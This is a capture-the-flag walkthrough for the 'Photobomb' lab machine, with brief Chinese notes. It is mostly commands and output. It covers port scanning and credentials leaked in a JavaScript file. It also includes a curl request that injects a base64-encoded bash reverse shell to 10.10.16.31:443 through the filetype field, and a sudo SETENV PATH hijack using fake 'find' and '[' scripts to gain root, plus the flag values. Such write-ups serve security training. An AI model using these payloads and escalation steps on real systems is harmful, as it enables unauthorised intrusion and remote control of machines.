Information Gathering

$ ip='10.10.11.182'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Photobomb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

.Js credential Leak && Command Injection

# echo '10.10.11.182 photobomb.htb' >>/etc/hosts

http://photobomb.htb/

view-source:http://photobomb.htb/photobomb.js

username:pH0t0
password:b0Mb!

$ echo -n '/bin/bash -i >& /dev/tcp/10.10.16.31/443 0>&1' | base64

$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg&filetype=jpg;rm /tmp/f;echo+L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMxLzQ0MyAwPiYx|base64+-d|bash&dimensions=3000x2000'

User.txt

795c713ef76ed21f2748a1b96a83986c

Privilege Escalation:

SETENV Path Hijack (find)

$ echo -e '#!/bin/bash\n/bin/bash'>/tmp/find
$ chmod +x /tmp/find

sudo 默认不使用当前 PATH 变量（它使用 secure_path），当存在 SETENV 权限时，我们将可以在环境变量注入到脚本

$ sudo -u root PATH=/tmp:$PATH /opt/cleanup.sh

built-in commands hijack

$ diff /etc/bash.bashrc /opt/.bashrc

[是 bash 中的内建命令，通常用于条件测试，等价于 test 命令。这里/opt/cleanup.sh脚本执行调用/opt/.bashrc后禁用 [命令，脚本确保了 [这个命令不再作为内建命令使用

即可通过劫持if语句右侧的[或者]内建命令

$ echo -e '#!/bin/bash\n/bin/bash'>/tmp/[
$ chmod +x /tmp/[
$ sudo -u root PATH=/tmp:$PATH /opt/cleanup.sh

Root.txt

c25100ccbba46eaf57b57a61af95abc7